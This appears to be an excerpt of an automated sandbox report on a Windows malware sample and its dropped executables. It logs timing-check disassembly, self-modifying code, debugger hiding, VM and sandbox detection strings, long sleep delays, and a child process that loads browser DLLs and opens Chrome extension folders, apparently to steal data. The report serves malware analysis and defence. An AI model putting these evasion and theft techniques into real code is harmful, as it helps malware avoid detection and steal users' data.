Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB0878 second address: 4DB0880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, bx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB0880 second address: 4DB0886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB0886 second address: 4DB088A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB088A second address: 4DB088E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB088E second address: 4DB08D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FC9D8BCC16Dh 0x00000011 pop esi 0x00000012 pushfd 0x00000013 jmp 00007FC9D8BCC171h 0x00000018 or si, 0696h 0x0000001d jmp 00007FC9D8BCC171h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D500F1 second address: 4D50115 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D50115 second address: 4D50128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC16Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D50128 second address: 4D50191 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC9D915F4C1h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FC9D915F4C3h 0x00000019 and si, F00Eh 0x0000001e jmp 00007FC9D915F4C9h 0x00000023 popfd 0x00000024 mov edx, esi 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D50191 second address: 4D501AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9D8BCC178h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D501AD second address: 4D501F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushad 0x0000000f mov si, F301h 0x00000013 push ecx 0x00000014 pop edi 0x00000015 popad 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FC9D915F4C0h 0x00000021 adc si, 8348h 0x00000026 jmp 00007FC9D915F4BBh 0x0000002b popfd 0x0000002c movzx eax, dx 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB0C11 second address: 4DB0C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB0C15 second address: 4DB0C2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB0C2C second address: 4DB0C5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC9D8BCC16Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB0C5F second address: 4DB0C63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB0C63 second address: 4DB0C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB0C69 second address: 4DB0C6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB0C6F second address: 4DB0C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB0C73 second address: 4DB0D09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e mov bx, cx 0x00000011 pushfd 0x00000012 jmp 00007FC9D915F4C6h 0x00000017 and esi, 6EBEFA18h 0x0000001d jmp 00007FC9D915F4BBh 0x00000022 popfd 0x00000023 popad 0x00000024 mov ch, 0Dh 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 jmp 00007FC9D915F4BBh 0x0000002e push dword ptr [ebp+0Ch] 0x00000031 jmp 00007FC9D915F4C6h 0x00000036 push dword ptr [ebp+08h] 0x00000039 jmp 00007FC9D915F4C0h 0x0000003e push 14D8F9B9h 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FC9D915F4BCh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB0D09 second address: 4DB0D4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 pushfd 0x00000006 jmp 00007FC9D8BCC16Dh 0x0000000b xor si, CE76h 0x00000010 jmp 00007FC9D8BCC171h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xor dword ptr [esp], 14D9F9BBh 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FC9D8BCC16Dh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB0D4C second address: 4DB0D5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9D915F4BCh 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Special instruction interceptor: First address: A5E910 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Special instruction interceptor: First address: BFED8B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Special instruction interceptor: First address: C29F57 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Special instruction interceptor: First address: C0E799 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Special instruction interceptor: First address: C86DD2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: E7E910 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 101ED8B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 1049F57 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 102E799 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 10A6DD2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Special instruction interceptor: First address: D0EA73 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Special instruction interceptor: First address: EACDEC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Special instruction interceptor: First address: EACADA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Special instruction interceptor: First address: ED5B9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Special instruction interceptor: First address: F3DF44 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Special instruction interceptor: First address: 89E910 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Special instruction interceptor: First address: A3ED8B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Special instruction interceptor: First address: A69F57 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Special instruction interceptor: First address: A4E799 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Special instruction interceptor: First address: AC6DD2 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe

Code function: 2_2_04DB0C09 rdtsc

2_2_04DB0C09

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 3203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1307	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 822	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 2586	Jump to behavior
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Window / User API: threadDelayed 412

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

API coverage: 8.2 %

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 6856	Thread sleep count: 65 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 6856	Thread sleep time: -130065s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 6916	Thread sleep count: 62 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 6916	Thread sleep time: -124062s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1828	Thread sleep count: 296 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1828	Thread sleep time: -8880000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1916	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 1916	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 5900	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 5940	Thread sleep count: 63 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 5940	Thread sleep time: -126063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 2224	Thread sleep count: 3203 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 2224	Thread sleep time: -6409203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 2224	Thread sleep count: 1307 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 2224	Thread sleep time: -2615307s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 3468	Thread sleep count: 822 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 3468	Thread sleep time: -1644822s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 3468	Thread sleep count: 2586 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 3468	Thread sleep time: -5174586s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe TID: 9100	Thread sleep count: 110 > 30
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe TID: 9100	Thread sleep time: -660000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040D8C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	11_2_0040F4F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040BCB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	11_2_004139B0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	11_2_0040E270
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	11_2_00401710
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	11_2_004143F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	11_2_0040DC50
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	11_2_00414050
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	11_2_0040EB60
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	11_2_004133C0

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_00401160 GetSystemInfo,ExitProcess,

11_2_00401160

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: explorti.exe, explorti.exe, 00000005.00000002.2286152446.0000000000FFF000.00000040.00000001.01000000.00000007.sdmp, RoamingFHJDBKJKFI.exe, 0000002F.00000002.3317110228.0000000000E8D000.00000040.00000001.01000000.00000016.sdmp, RoamingHJKECAAAFH.exe, 00000032.00000002.3101997661.0000000000A1F000.00000040.00000001.01000000.00000018.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000275C000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000277A000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 00000024.00000002.3089031616.000000000275A000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 00000024.00000002.3089031616.00000000027B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: bfb8bb0dc7.exe, 00000024.00000002.3089031616.000000000275A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: bfb8bb0dc7.exe, 00000024.00000002.3089031616.000000000275A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarep
Source: 6SoKuOqyNh.exe, 00000002.00000002.2246081856.0000000000BDF000.00000040.00000001.01000000.00000004.sdmp, explorti.exe, 00000004.00000002.2273472137.0000000000FFF000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000005.00000002.2286152446.0000000000FFF000.00000040.00000001.01000000.00000007.sdmp, RoamingFHJDBKJKFI.exe, 0000002F.00000002.3317110228.0000000000E8D000.00000040.00000001.01000000.00000016.sdmp, RoamingHJKECAAAFH.exe, 00000032.00000002.3101997661.0000000000A1F000.00000040.00000001.01000000.00000018.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: firefox.exe, 0000002B.00000002.3015090796.0000020633E70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	API call chain: ExitProcess graph end node	graph_11-67131
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	API call chain: ExitProcess graph end node	graph_11-67128
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	API call chain: ExitProcess graph end node	graph_11-68304
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	API call chain: ExitProcess graph end node	graph_11-67150
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	API call chain: ExitProcess graph end node	graph_11-67171
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	API call chain: ExitProcess graph end node	graph_11-67149
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	API call chain: ExitProcess graph end node	graph_11-67142
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	API call chain: ExitProcess graph end node	graph_11-66970

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	File opened: NTICE
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	File opened: SICE
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Process queried: DebugPort	Jump to behavior
